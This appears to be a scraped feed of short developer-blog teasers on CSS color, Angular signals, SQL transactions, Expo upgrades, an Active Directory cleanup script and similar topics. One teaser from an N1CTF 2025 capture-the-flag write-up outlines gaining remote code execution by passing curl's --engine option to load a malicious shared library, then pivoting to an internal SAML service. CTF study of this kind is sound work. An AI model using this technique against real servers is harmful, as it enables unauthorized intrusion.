    CSS color has grown up beyond rgb() and hsl(). We now have Display P3, Oklab, OKLCH, relative colors, and color-mix(). These new tools are changing how designers and developers think about colors on the web. Unfortunately, most JavaScript color libraries fall behind. Adding new syntax or spaces often takes months, leaving developers waiting for maintainers to catch up. I wanted a different approach. Instead of shipping fixed utilities, I built Saturon: a runtime-extensible color engine that implements the entire syntax as real JavaScript objects. That means you can: Parse any valid CSS color string, even nested or experimental syntax. Convert colors across all modern spaces with spec-accurate results. Extend the system with custom spaces, functions, and syntax in a few lines. Satur…  ( 10 min )
    Learning from History: What Other Token Ecosystems Teach Us About Pump.fun's Future
    The Pump.fun phenomenon may feel unprecedented in its combination of livestreaming and tokenomics, but patterns governing its growth, speculation, and inevitable maturation closely mirror historical cryptocurrency cycles that have played out repeatedly since Bitcoin's inception. From the ICO mania of 2017 to DeFi summer in 2020 and NFT hysteria in 2021, each wave of crypto innovation follows predictable trajectories where early participants capture asymmetric returns while late arrivals often suffer devastating losses. Understanding these historical precedents provides invaluable context for evaluating Pump.fun's current state and likely future evolution, helping both creators and traders avoid repeating mistakes that destroyed previous generations of projects while capitalizing on pattern…  ( 12 min )
    As we delve into the intricacies of Prevención de Lavado de
    As we delve into the intricacies of Prevención de Lavado de Dinero (PLD) in Mexico, I'd like to pose a question that requires careful consideration from experts in the field: Can the current reliance on risk-based approach in PLD in Mexico inadvertently create a paradox where compliance is prioritized over prevention, ultimately undermining the effectiveness of anti-money laundering efforts? In other words, is the focus on identifying and mitigating high-risk customers and transactions inadvertently shifting the focus away from a more proactive approach that targets the root causes of money laundering, such as corrupt practices and inadequate regulatory oversight? This paradox highlights the need for a more nuanced understanding of PLD in Mexico, one that balances the need for compliance with the imperative to prevent illicit financial flows. What are your thoughts on this matter? Publicado automáticamente con IA/ML.  ( 6 min )
    Analysing European Soccer Data with Deepnote in Windsurf IDE
    Word on the street? Deepnote is now open-source! Jakub Jurových, the Founder of Deepnote, announced on LinkedIn this week. During my research, I found out that the European Soccer Database from Kaggle has 25K+ matches, 10K+ players, and 2008–2016 seasons across 11 leagues. In this guide will use Deepnote in Windsurf to analyse the European sports data from Kaggle for three use cases: To find out which team improved most post-2012 from the data? To predict "star players" and their value, with the Top 10 players by goal impact To analyse win rates, goal differences, and home/away advantages over seasons for the teams Let's get started! You will need the following to proceed A Kaggle account Windsurf account and IDE installed on your computer A Deepnote account Deepnote is a cloud-based, col…  ( 10 min )
    Cloud App Journey: Ep. 5 — Cloud Security: Protecting APIs, Credentials, and Data on Azure
    In the previous chapters of the Cloud App Journey series, we explored deployment, containers, scalability, observability, and performance optimization. Now it's time to face one of the most critical topics in any distributed cloud application: Security. Here are a few questions you’ve probably asked yourself at some point (or should have): How can I ensure that only authorized users can access my APIs? How do I store sensitive secrets (like connection strings) without exposing them in code or config files? How do I prevent leaked credentials from compromising the entire production environment? In this episode, we’ll walk through how to address these challenges in Azure using .NET, with practical examples for modern microservices. 1. How do we ensure that only authorized users can access th…  ( 8 min )
    Painless Vibe-Coding: A Complete Practical Guide from Real-Life Experience
    Vibe Coding Without Pain: A Complete Practical Guide from Real Experience Vibe coding isn't "magic in a vacuum," but a conscious technique of rapid development with a reliable framework. Over the past months, I've transitioned from Bolt.New to Copilot, Claude, Cursor, and Google AI Studio: over a thousand prompts, dozens of iterations, and many lessons. Below is not a collection of platitudes but a polished set of principles, tools, and templates that truly save time, money, and nerves as the codebase grows. The idea is simple: we move in small but precise steps, committing results to Git, asking AI to make local "diff-only" patches instead of rewriting the world, and maintaining a design system from the very first lines. Instead of "an agent that does everything for you," pair with a wi…  ( 13 min )
    Unlock Your Simulations: Automated Parameter Tuning for Complex Models by Arvind Sundararajan
    Unlock Your Simulations: Automated Parameter Tuning for Complex Models Stuck wrestling with a complex simulation? Spending endless hours tweaking parameters trying to match real-world data? Frustrated by the sheer number of knobs and dials, and the combinatorial explosion of possible settings? You're not alone. The core concept is simple: instead of manually searching for the best settings, use an evolutionary algorithm to automatically explore the parameter space of your model. These algorithms mimic natural selection, iteratively refining parameter sets based on how well they fit your target data. Think of it as a Darwinian process for model calibration. This approach works by creating a population of candidate parameter sets. Each set is run through the simulation, and its performance…  ( 7 min )
    I built a tool to find where React components come from — even in big Next.js projects
    I built a tool to find where React components come from — even in big Next.js projects Have you ever stared at a React component in the browser and thought: “Wait… which file does this element come from again?” That was me, almost daily, while working on large Next.js and Vite projects. So I built react-source-lens — a small developer tool that lets you hover over any React element and instantly see the file path and line number where it was defined. When debugging complex React apps, you often end up in this loop: See a button, card, or modal in the browser. Open DevTools → Components tab. Try to guess which file it came from. Switch to VS Code → search → open → check. Repeat. It’s slow, context-breaking, and frustrating — especially in large codebases with nested components. React …  ( 7 min )
    Educação financeira - aprenda a gerir a sua renda
    Enfim, você começou a trabalhar em um emprego com um salário maior que a média do mercado. Talvez ganhando acima de 10 mil, ou até mais de 20 mil. Mas continua gastando mais do que ganha. Esse é um alerta importante. O problema não está no quanto você ganha, mas no quanto você gasta sem controle. Falta gestão, planejamento e principalmente educação financeira. Gestão financeira pessoal não precisa ser algo complexo. Pode começar com um caderno, uma planilha ou até um aplicativo. O importante é saber para onde o dinheiro está indo. O cartão de crédito pode ser um aliado, se usado com consciência. O segredo é concentrar os gastos nele, tratar o limite como se fosse o seu dinheiro e parar de usar o cartão de débito. Quando o salário cair, pague o cartão, os boletos, invista uma parte e siga c…  ( 7 min )
    Projeto Sirios - Apache + Python para Acionar LEDs via Web na Banana Pi
    Introdução Este artigo implementa um sistema web para acionamento remoto de periféricos. O sistema web é composto do servidor Apache para hospedar a página em HTML e CSS, além de habilitar o módulo CGI para controle de GPIO. Esse sistema completo será implementado na Banana Pi. O acesso a página web será restrito apenas à rede local em que a Banana Pi está conectada. Por isso, o acionamento remoto é realizado por qualquer dispositivo da rede local. O periférico de controle utilizado é um led. Esse projeto foi concebido dessa forma simples e reduzida apenas para validar o funcionamento do sistema como uma ideia inicial que pode expandir para outras aplicações. Requisitos Arquitetura Dependências Desenvolvimento Conclusão Referências Banana Pi M2 Zero com GPIO disponível Cartão SD com Ras…  ( 12 min )
    From Material 2 to Material You: Everything New in Material 3 for Android Developers
    What is Material 3? Material 3 (a.k.a. Material You) is the latest version of Google’s Material Design system (released with Android 12+). personalization, dynamic color, and adaptive UI. In Jetpack Compose, it’s supported by: import androidx.compose.material3.* Area Material 2 Material 3 (New) Why It Matters (Interview Tip) 🎨 Theming System Static color palette (light/dark) Dynamic color system — UI automatically adapts colors from wallpaper (via Material You / Monet engine) More user personalization & consistency with system theme 🧱 Components Old components (Button, TextField, etc.) New & redesigned ones: FilledTonalButton, OutlinedCard, AssistChip, SuggestionChip, etc. More flexible + accessible UI components ⚙️ Typography Hardcoded Typography styles Typography wit…  ( 8 min )
    How to use React with a VSCode webview.
    TL;DR: Turn VSCode Webviews into complex React apps with hot reload in development and a secure bundle-based setup in production. A VS Code extension whose Webview is a React + TypeScript app. HMR (Fast Refresh) in development via Vite. A Content Security Policy (CSP) safe production build. Scaffold the extension Create the React app Fix TS project boundaries Wire up the Webview panel Processing the Vite generated HTML Vite configuration Run in development Build & publish What's next Github Implementation First install yeoman and the VS Code extension generator: npm install --global yo generator-code yo code When prompted, choose: New Extension (TypeScript) Bundler: Unbundled (we’ll handle UI bundling separately with Vite) Package manager: npm Fill in the other fields (name, identifier,…  ( 10 min )
    A Senior Developer’s Guide to Python’s Data Toolkit
    You’ve been there. What started as a clean, elegant script to solve a specific problem has slowly, almost imperceptibly, grown into a sprawling codebase. Logic becomes tangled, data flows are opaque, and performance starts to degrade. This experience is a universal rite of passage for developers. As complexity scales, the clean lines of our early code blur, and we're left managing a system that feels more chaotic than controlled. This challenge is magnified tenfold in demanding fields like generative AI and large language model (LLM) development, where data processing speed and code clarity are not just best practices—they are fundamental requirements. The secret to taming this complexity doesn't lie in some obscure library or advanced design pattern. It lies in mastering the fundamentals.…  ( 12 min )
    Speak life 👆
    Speak life over yourself every single day. Your words carry power—use them to uplift, to build, and to move forward. Say “I can,” even when it’s hard, and “I will,”👊 even when it seems far. The way you speak to yourself shapes the way you see the world and your place in it. Choose to be your own encourager💪, your own reminder of greatness. What you declare today becomes your strength tomorrow.  ( 6 min )
    Search on steroids: Using regex in VS Code
    We've all used Command + Shift + F to search across our codebases. There's a hidden gem here which helps us supercharge our search queries — regex (Regular Expression) search: Let's take a look at how can leverage regex to: Find (locate patterns that normal search can't detect) Find & Replace (Use groups and backreferences in regex to replace patterns) Everything a normal text search can do + stuff like: Find TODO comments mentioning a specific user - \/\/\s*TODO:.*username Locate all console logs - console\.(log|warn|error)\( and many more… Time for an interesting example: One day you stumble upon this code: ... At first glance, it looks fine — but Tailwind can’t understand it. Why? Tailwind scans your files for ex…  ( 7 min )
    Static Website Deployment on AWS Amplify via GitHub (Entry-Level Guide)
    There are many ways to deploy a website using different technology, but doing it with AWS services takes your skills and game to the next level. One a beginner developer can gauge their learnings on is using AWS Amplify and GitHub for deploying a Static Website. Unlocking something that helps in your entry-level projects—whether it’s a small website or a useful tool—is not just beginner’s luck; it’s progress. For starters, it's important to first understand the tools needed to successfully follow the steps and instructions. An AWS Account and Basic Understanding of AWS IAM GitHub Account Basic Understanding of Web Technologies Create a new React App (or directly deploy through GitHub Page) On your local host: a. run using npm run dev (for actual React App) b. run using npx serve (for stat…  ( 8 min )
    From Laravel Factories to Framework-Agnostic: Building the Data Factory Package
    Part 2 of the Laravel Factory Patterns series Part 1: Stop Writing Arrays in Your Tests Part 2: Building the Data Factory Package (you are here) Originally published on barrento.dev After my last article on using Laravel factories with Data Objects, I kept thinking: why should only Laravel developers get this elegant API? If you're building framework-agnostic PHP packages, you face a problem. You need realistic test data, but you can't depend on Laravel's factory system. So you end up writing repetitive array construction code in every test, violating DRY and making maintenance a nightmare. I built Data Factory to solve this. When you're building a PHP SDK or package that works with any framework (or no framework), test data becomes painful: // Every test looks like this it('processes a …  ( 11 min )
    WRITE-UP N1CTF 2025
    [Web]N1SAML This is the challenge I had spend 90% of time to do but I didn’t solve this challenge on time, so sad. https://exp10it.io/ server. healthcheck service’s port to internet. To reach the step (1) – the internal SSO service, we should get RCE on healthcheck server. There is a feature on this server that we can make curl command with any argument: this crazy report (https://hackerone.com/reports/3293801), we can use --engine option load any shared library on the file system to get RCE. healthcheck server download our malicious file sp) and identity provider (IdP) exchange SAML Metadata file, you can see example in idp-metadata.xml file in source code. That file contains those main information: – The certificate, that includes public key. Note that we mainly have two type o…  ( 9 min )
    Making a Read-Only Signal Editable in Your Component
    Sometimes you inject a signal from a service, and it’s read-only, but you still want the user to edit it inside your component. @Component({ selector: 'user-editor', template: ` ` }) export class UserEditor { readonly user = inject(UserService).userSignal; // Signal readonly username = computed(() => this.user().name); // Signal } How do you make that happen without breaking immutability? That’s where linkedSignal() comes in. Linked Signal creates a local writable signal that stays in sync with the original one, so you can use it for two-way binding with the familiar banana-in-a-box syntax [(model)]. @Component({ selector: 'user-editor', template: ` ` }) export class UserEditor { readonly user = inject(UserService).userSignal; // Signal readonly username = computed(() => this.user().name); // Signal readonly editableUsername = linkedSignal(() => this.username()); } Keeps your parent state immutable Allows local edits in the child Feels natural for Angular developers That’s the beauty of linkedSignal. It bridges Angular’s modern signal world with the old-school simplicity of banana-in-a-box syntax. Now the linked signal may hold a value that’s either coming from the service or modified locally by the user. You can use a computed signal to compare the original value with the current value of the linked signal: readonly valueSource = computed(() => this.username() === this.editableUsername() ? 'remote' : 'local'); The valueSourcesignal now tells you whether the current value is local (changed by the user) or remote (still matches the service). If you found this useful, follow me for more posts about Angular Signals, NgRx Signal Store, and building scalable Angular apps.  ( 7 min )
    Architectural decisions
    I recently attended GOTO conference in Copenhagen (https://gotocph.com/2025, you can find the slides for some of the presentations there) and would like to share some of the interesting topics. Problems which stem from architecture are still there. Decisions related to architecture are hard to make and hard to change while most often they need to be made before we know all the context. I attended quite a few talks related to this topic but I think Daniel Terhorst-North brings especially useful summary to tackle the problem: keep things simple as "complex system can only evolve from working simple one" (paraphrased John Galls' statement) avoid speculative generality, do not guess to be able to create some generic components - this comes from Donald Knuth's sentence "premature optimization is the root of all evil (97%)" and it just means we should not over-engineer do not miss a chance to optimize critical parts - this comes from the 2. part of Donald Knuth's sentence "Yet we should not pass up our opportunities in that critical 3 %" - we should not under-engineer as well learn to sketch - sketching is different skill than developing and it allows to create good prototypes which potentially can even be released (to me, it has much in common with vertical slicing technique) I personally think that all above points are related to all the aspects of IT industry, not only architecture. "Premature optimization" statement was originally about the code performance but in my view, besides architecture, together with other concepts it also concerns quality (tests), devops and others.  ( 6 min )
    Upgrading Expo to 54 - and making Cursor give the latest instructions
    TL;DR (commands) # In your project root npm install expo@^54.0.0 npx expo install --fix npx expo-doctor npx expo start -c The local CLI no longer supports older commands like expo upgrade and expo doctor --fix-dependencies. The modern flow uses npm install expo@^54, expo install --fix to align peer deps, and expo-doctor for checks. Enable web browsing in Cursor so it can consult the official docs: Install SDK 54 core package npm install expo@^54.0.0 Align dependencies to SDK 54 npx expo install --fix Verify and follow any suggestions npx expo-doctor Use Node 18/20 if possible. If you switch Node versions, reinstall deps (delete node_modules + your lockfile, then npm i). Start fresh npx expo start -c Open in the latest Expo Go (which supports SDK 54). brew install nvm mkdir -p ~/.nvm echo 'export NVM_DIR="$HOME/.nvm"' >> ~/.zshrc echo '[ -s "/opt/homebrew/opt/nvm/nvm.sh" ] && . "/opt/homebrew/opt/nvm/nvm.sh"' >> ~/.zshrc source ~/.zshrc # Install and use Node 20 nvm install 20 nvm use 20 node -v npm -v Upgrading Expo SDK walkthrough  ( 7 min )
    Acid Properties in SQL
    Understanding ACID Properties in SQL Transactions Intro That’s where ACID properties come in. They ensure our transactions are reliable, safe, and consistent, even when things go wrong. In this blog, let’s break down ACID with SQL examples using a simple Accounts What is ACID? Atomicity → All or nothing (no partial transactions). Consistency → Data must remain valid before and after a transaction. Isolation → Transactions run independently of each other. Durability → Once committed, changes are permanent (even after crash). We’ll create an Accounts table with a balance check to avoid negative values. CREATE TABLE Accounts ( INSERT INTO Accounts VALUES Atomicity Example: Money transfer (Rollback midway) START TRANSACTION; -- Deduct ₹1000 from Alice -- Add ₹1000 to Bob -- Oops! Something went wrong -- Check balances (should remain unchanged) Consistency Example: Insert a record with negative balance INSERT INTO Accounts VALUES (104, 'Naveens', -500); Isolation Imagine two sessions running at the same time: Session 1: START TRANSACTION; SELECT * FROM Accounts WHERE acc_no = 103; Durability START TRANSACTION; SELECT * FROM Accounts WHERE acc_no = 102; Final Thoughts The ACID properties are the backbone of reliable databases. Atomicity → No partial updates Consistency → Always valid data Isolation → Independent transactions Durability → Permanent changes So next time you run a SQL transaction, remember: ACID is silently ensuring your data stays safe, even if things go wrong.  ( 7 min )
    🔥Inside Google Jobs Series (Part 5): Search & Core Product Engineering
    As a Senior Recruiting Director with over two decades in the tech industry, my primary role is to decode the talent market, providing a strategic lens for ambitious professionals. Today, I’m turning that lens on Google. After an exhaustive, meticulous review of over 500 current job postings on their official careers portal (https://www.google.com/about/careers/applications/jobs/results), a clear, data-driven narrative has emerged about the future of its most iconic product: Search. This isn't just about filling roles; it’s a strategic mobilization of talent to redefine how the world accesses information. Each job description was a breadcrumb, and by assembling them, we can map out Google's product and engineering roadmap. The most profound insight is the foundational shift to an AI-native …  ( 19 min )
    AWS SAA to Security Clearance: My Path to Federal Cloud Engineering
    Just passed AWS Solutions Architect Associate on my first attempt! But this isn't another "I passed!" post - it's about leveraging cloud security expertise for federal defense contracting roles in Huntsville where security professionals protect national security infrastructure. Federal contractors aren't just looking for cloud engineers - they need professionals who understand: Compliance frameworks (FedRAMP, NIST 800-53, RMF) Security-first architecture Cost optimization for government contracts Multi-account strategies for classified/unclassified separation The AWS SAA provides the foundation, but it's just the beginning for federal work. After founding and scaling an MSP to $160K+ revenue with zero security breaches across 37+ business clients, I learned that production security isn't t…  ( 8 min )
    Atomic commits and git bisect
    So today, something happened at work. Suddenly, the typecheck that used to take roughly 60 seconds started taking more than 8 minutes. Since typechecking is in our pre-commit hook, all the devs were complaining, everyone was making commits by force-skipping the git hooks, and I was tasked with finding the root cause. git bisect. Working with atomic git commits just means your commits are of the smallest possible size. Each commit does one, and only one, simple thing that can be summed up in a simple sentence. Btw, if you feel you need to add an "and" to your commit message, that should be two commits. Luckily, my teammates are pretty good at following basic git practices, so all our commits were properly described and atomic. The history looked something like this (not the real one, just a…  ( 7 min )
    Quick Guide: Reducing Tailwind CSS Build Size
    If you've ever shipped a Tailwind project and noticed your CSS file is surprisingly large, you're not alone. By default, Tailwind can generate a hefty stylesheet, but with proper configuration, you can dramatically reduce it often to under 10KB. Tailwind generates thousands of utility classes. Without proper setup, all of them end up in your production build, even the ones you never use. The solution? Content purging and smart configuration. This is the most critical step. Tell Tailwind where your template files are: module.exports = { content: [ './src/**/*.{html,js,jsx,ts,tsx,vue,svelte}', './public/index.html', ], theme: { extend: {}, }, } 💡 Important: Avoid dynamic class names like bg-${color}-500. Tailwind can't detect these during the build process. Use complete…  ( 7 min )
    Transactions , Deadlocks & Log Based Recovery in SQL
    #acid #deadlock #logging #sql Intro Schema Setup CREATE TABLE Accounts ( INSERT INTO Accounts VALUES Let’s try transferring 500 from Alice to Bob but roll it back before committing. -- Start transaction -- Deduct from Alice -- Add to Bob -- Check balances before rollback -- Rollback transaction -- Check balances after rollback Deadlock Simulation We’ll simulate this using two sessions: Session 1 -- Now try updating Alice (but Alice is locked by Session 1) Log-Based Recovery Let’s test this: -- Start transaction -- Update a record -- Rollback ROLLBACK; Key Takeaways Atomicity: All or nothing – rollback prevents partial updates. Deadlock: Two transactions waiting for each other’s lock → system resolves it. Log-Based Recovery: Every change is logged so the DB can recover from crashes.  ( 7 min )
    Cloud Resume Challenge - Chunk 5 - The Final Write-Up
    After weeks of effort, late-night debugging, and countless commits, my Cloud Resume Challenge is finally complete. This project wasn’t just about hosting a résumé on AWS. It was about learning real-world cloud engineering practices, from IAM fundamentals to Infrastructure as Code, CI/CD pipelines, and supply chain security. In this post, I’ll tie everything together, walk through the full journey, and share what I learned. Throughout the challenge, I split the work into five chunks. Here’s a recap: Chunk 0 - Access, Credentials, and Certification Prep Got AWS Certified Cloud Practitioner. Created and secured an AWS Organization (1 org, 2 OUs, MFA everywhere). Configured billing alerts (\$0.01 threshold 🚨). 👉 Read Chunk 0 Blog Chunk 1 - Building the Front-End Created my résumé with …  ( 10 min )
    How signals really work in JavaScript? Basic concept.
    Hi there! If you've built frontend application, you've obviously faced the problem of the state management: initializing, editing, computing states and reacting to its changes. There are a huge count of solutions for it. For example, React has useState/useReducer with a lot of libraries, Vue - ref and reactive, Angular and Solid - signals. Guess what am I going to talk about? Of course, about the last one! Signals is getting popular last time. Why? Signals are predictable. They do exactly what you want them to do! Signals are simple. They give you an intuitive API: getters, setters, computeds (calculate value based on another one) and effects (react to value's changing). Signals are magicable - the predictable behaviour and simple API make you really happy and give a sense, which can be d…  ( 12 min )
    Why Not All AI Works the Same: A Quick Breakdown for Builders
    AI conversations often blur everything into one big category, as if every model behaved the same way or solved the same type of problem. But in practice, the systems we call “AI” can be fundamentally different depending on how they’re built and what they’re meant to do. A simple contrast illustrates this well: 📌 The AI that writes a poem doesn’t function like the AI that detects fraud. Even though both fall under the same umbrella, they rely on two distinct approaches with different strengths: Traditional AI learns patterns and returns fixed, predictable outputs. It’s built for reliability forecasts, anomaly detection, classification, risk scoring. Generative AI produces something new: text, images, code, designs. Rather than selecting a predefined answer, it creates one based on what it has learned. Both approaches matter, both solve different problems, and both can even coexist within the same project. So here’s the real question to reflect on: Which type of AI is the best fit for the problem you’re solving right now? We explored this contrast in a recent short: Why Not All AI Works the Same Are you building more with generative models lately, or do traditional ML pipelines still drive your core systems?  ( 6 min )
    Build a PHP QueryBuilder from scratch!
    I recently completed one of the most challenging milestones of my framework: the ORM and QueryBuilder system. It’s a complex component that required deep understanding of OOP, SQL abstraction, and design principles. The Goal I wanted to understand what truly happens behind the scenes when writing fluent database queries. Instead of using Laravel or Symfony, I decided to build my own ORM from scratch — focusing on architecture, not shortcuts. The Soft ORM system is inspired by modern framework technologies, but built entirely from scratch. Every Model represents a table, and the QueryBuilder dynamically generates and executes SQL statements. Execution Flow User::find(1) → Extends the base Model Model.php → Creates the instance and forwards static calls to the QueryBuilder QueryBuilder.php → Builds the SQL query (SELECT * FROM ...) Database.php → Singleton PDO that executes the query ResultSet → Handles model hydration Pattern Purpose Active Record Each Model manages its table and CRUD operations. Builder The QueryBuilder constructs SQL queries fluently. Dependency Injection PDO is injected via container for separation of concerns. Chain of Responsibility Methods like where() and join() return self for chaining. Fail Fast Design Invalid Model structures throw ModelStructureException. Writing an ORM from scratch forces a focus on architecture, abstraction, and class responsibility. It reveals the value of separation between logic, data, and infrastructure layers. The first unit tests for the QueryBuilder validate SQL generation and parameter binding. They ensure the ORM behaves consistently before adding advanced features such as relationships and eager loading. Try It Out Repository: GitHub – dev-iadicola/soft-php-mvc bash git clone https://github.com/dev-iadicola/soft-php-mvc.git cd soft-php-mvc composer install php soft serve  ( 6 min )
    Clean up in active AD accounts
    Cleanup of Inactive AD Accounts (User & Computer) – Over 1 Year Old Security Risks: Inactive accounts are vulnerable to misuse or compromise. License Wastage: Consumes unnecessary licenses in environments like Microsoft 365. Administrative Overhead: Clutters AD with obsolete entries, complicating management. Compliance Gaps: May violate policies such as ARPAN which mandate timely account lifecycle management. Solution Implement a PowerShell-based automated process that: Identifies all user and computer accounts that have not logged on in over 365 days. Exports these accounts to CSV files for review and audit purposes. Deletes the reviewed accounts safely (with optional backup and logging steps). PowerShell Script (Summary): Enhanced Security: Minimizes attack surface by eliminating dormant accounts. Compliance Assurance: Meets ARPAN and internal audit standards for account lifecycle. Operational Efficiency: Reduces clutter in AD, improving admin productivity. Cost Optimization: Frees up licenses and reduces overhead in systems like Office 365 or Azure AD. Power shell script: Import-Module ActiveDirectory $timeThreshold = (Get-Date).AddDays(-365) $inactiveUsers = Get-ADUser -Filter {LastLogonDate -lt $timeThreshold -and Enabled -eq $true} -Properties LastLogonDate | $inactiveUsers | Export-Csv -Path "C:\ADCleanup\InactiveUsers.csv" -NoTypeInformation $inactiveComputers = Get-ADComputer -Filter {LastLogonDate -lt $timeThreshold -and Enabled -eq $true} -Properties LastLogonDate | $inactiveComputers | Export-Csv -Path "C:\ADCleanup\InactiveComputers.csv" -NoTypeInformation  ( 7 min )
    Migration Guide: Microsoft ADCS to Sectigo Certificate Manager
    Absolutely, Thiyagarajan. Below is a complete, step-by-step migration guide in plain text for moving from Microsoft ADCS to Sectigo Certificate Manager. You can copy this into a Word document and format it as needed. Every step is explicitly detailed — including clicks, commands, and validation — so anyone following this guide can execute the migration without missing a single action. Author: Thiyagarajan Date: 11-Nov-2025 Purpose: Migrate from Microsoft Active Directory Certificate Services (ADCS) to Sectigo Certificate Manager (SCM) for modern, automated certificate lifecycle management. Project Overview Pre-Migration Assessment Sectigo Platform Setup Sectigo Connector Deployment Template Mapping Enrollment Policy Configuration Certificate Migration Validation & Monitoring Roll…  ( 8 min )
    Project Create a Storage Account for Public Use and Private Use
    In cloud computing, storage is a service that enables users and organizations to store, manage, and retrieve data via the internet rather than utilizing actual hardware on-site, such as local servers or hard drives. Public Storage is a cloud-based service that enables users to store and retrieve data via the internet. It is scalable, secure, and highly available. It is based on Azure's worldwide infrastructure, which makes it possible for businesses to effectively manage and distribute data, including documents, media files, backups, and online assets. Step 1 In the Microsoft Azure portal Search Bar, type Storage Accounts and hit enter, and the storage accounts with an icon will gray out Step 2 storage accounts and select + create Step 3 Storage account environment, Resource Group sec…  ( 8 min )
    Fault Tolerance
    By definition, fault tolerance is the ability of a system to continue operating despite the failures in one of more components. This is highly applicable in terms of a distributed system application and in order to achieve it we need to take some actions. In this article, I'll cover up some strategies that can be followed, in the application level, to handle failures better overall. The main challenge in a distributed system is the communication between nodes, since they're exposed to network, software and hardware failures. Since we cannot handle directly hardware faults, we must ensure our hole system is designed to tolerate software/network failures at edge points. Overall, it's easier to ask when they don't fail actually. All of our strategies will have the same objective: not overwhel…  ( 11 min )
    Optimize the Performance of the WebForms Class on the Server in WebForms Core 2
    In version 2 of the WebForms Core technology, the section related to creating Action Controls in the server-side WebForms class has been completely redesigned. In the previous version, this class used a complex structure based on a list of objects (NameAndValueCollection), which, despite its high flexibility, was not optimal in terms of performance and memory consumption. In the new version, this structure has been replaced by StringBuilder, which has led to a significant improvement in processing speed and reduced resource consumption. This fundamental transformation has significantly increased the efficiency of the system and provided a suitable platform for processing data on a large scale. version 2 - simple and efficient versus Previous version - complex and expensive Note: After ver…  ( 9 min )
    Unit Tests: The Greatest Lie We Tell Ourselves?
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    JS中的对象、var let const 在JS里的区别、JS中的作用域
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    # Understanding Network Layers: What Every Node.js Developer Should Know About OSI/TCP-IP
    Ever wondered why your Express app suddenly hits memory limits when handling large file uploads? Or why understanding the difference between TCP and UDP matters for your real-time chat application? The answer lies in the network layers that power every backend system—and as Node.js developers, we interact with these layers more than we realize. When you write http.createServer() or use fs.createReadStream(), you're directly working with abstractions built on network layer principles. Understanding these fundamentals helps you: Debug connection issues faster Optimize data transfer for better performance Choose the right protocols for your use case Handle large payloads without crashing your server The OSI (Open Systems Interconnection) model divides network communication into seven layers. …  ( 8 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    Jeff Su’s video spills four game-changing ChatGPT hacks—Prompt Reversal to pull apart winning prompts, the 5-Minute Amplifier to turn one idea into tons of formats, the Red Team Technique for AI self-critique, and Blueprint Scaffolding to force ChatGPT to map its logic first. Real examples make it dead simple to apply, and these tricks alone cut his AI workflow in half. He also drops links to a free HubSpot e-book, a detailed blog post, an AI course waitlist, Notion Command Center setup, and other goodies so you can supercharge your own productivity in any role. Watch on YouTube  ( 6 min )
    100 Days of Code — My GitHub Streak Journey (Aug 4 Nov 11)
    Today marks my 100th consecutive day of coding! 🎉 Each day included a small win: This journey taught me that consistency beats motivation. 📈 You can check my progress here 👉 github.com/amankureshi Here’s to the next 100 days of creating, learning, and growing as a developer! 💻🔥  ( 6 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    TL;DR CinemaSins just dropped “Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less,” poking fun at every nitpickable moment in the latest Marvel outing—yet they secretly admit it might actually be pretty great. Expect their signature rapid-fire “sins” countdown, quick jokes, and cheeky commentary on plot holes, character flubs, and visual goofs. Love the roast? Hit up their links: watch more on YouTube, join the Discord or Reddit, fill out their sinful poll, and consider backing the small CinemaSins team on Patreon for exclusive perks. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: A New High? - Predator: Badlands Review
    A New High? – Predator: Badlands Review Predator: Badlands has defied expectations, becoming the franchise’s second PG-13 entry (since 2004’s Alien vs Predator) to win over both fans and critics—and it’s already smashing opening-weekend box-office records. Shifting the Predator from villain to leading man in this Alien crossover clearly paid off. This spoiler-packed review comes from The Weekly Planet podcast, dropping every Monday on YouTube, Spotify, Apple Podcasts (and everywhere else you find podcasts). For early videos, bonus episodes and merch, head over to BigSandwich.co. Watch on YouTube  ( 6 min )
    Chem-R: Learning to Reason as a Chemist
    Meet Chem‑R: The AI That Thinks Like a Chemist Ever wondered if a computer could reason through chemistry the way a scientist does? Scientists have created Chem‑R, an AI that learns chemistry step by step, just like a student mastering a new language. With Chem‑R, the future of chemistry feels more like a collaborative adventure than a solitary lab grind. Stay tuned—the next breakthrough might just be a few clicks away. Read article comprehensive review in Paperium.net: Chem-R: Learning to Reason as a Chemist 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 25 min )
    Top 7 Featured DEV Posts of the Week
    Welcome to this week's Top 7, where the DEV editorial team handpicks their favorite posts from the previous week. Congrats to all the authors that made it onto the list 👏 jQuery Will Outlive Half of Today’s JavaScript Frameworks - Here's Why Sylwia Laskowska ・ Nov 5 #webdev #javascript #programming #discuss @sylwia-lask argues that jQuery is far from dead, suggesting its continued existence is due to economic reality, not technical excellence. They point out that huge platforms like WordPress rely on it, making the cost of removal far higher than the cost of keeping the legacy code. Tailwind CSS Won the War... But We're the Losers Elvis Sautet ・ Nov 7 #tailwindcss #webdev #css #productivity @elvissautet shares a personal realiz…  ( 10 min )
    Frontend Architecture. Result Type Pattern
    Hi everyone! Today I want to talk (or remind) about a really cool and practical pattern called the Result type. I think this article will be short, but interesting for those who haven’t worked with this approach before and are tired of callback hell and unexpected exceptions when developing web applications. It’s simple — stop using exceptions for normal business logic. Exceptions are meant for truly exceptional cases, situations that are not expected during normal program execution. But in many applications, we often see business logic built on exceptions, which is actually an anti-pattern. If an error is likely to happen during normal business logic, it is not an exceptional case by definition. Today, we’ll look at a cleaner alternative from the perspective of business logic — the Result…  ( 8 min )
    Python To-Do List Application Tutorial Guide 2025
    Learn to build a console-based To-Do List Manager in Python with this step-by-step tutorial. Covers task addition, viewing, deletion, and exit functionality using lists and loops. In this article, we will deconstruct a simple yet functional To-Do List Manager built in Python. You will learn how to create an interactive console application that allows users to add new tasks, view all existing tasks, delete specific tasks, and exit the program gracefully. We will break down the code step-by-step, explaining the use of lists, while loops, if statements, and list methods like append() and pop(). By the end of this guide, you will have a solid understanding of the logic behind building a basic command-line application and be able to extend it with your own features. WATCH VIDEO: Python Beginn…  ( 10 min )
    I Found the #1 Cause of Freezes in Your app, and Heres the Proof
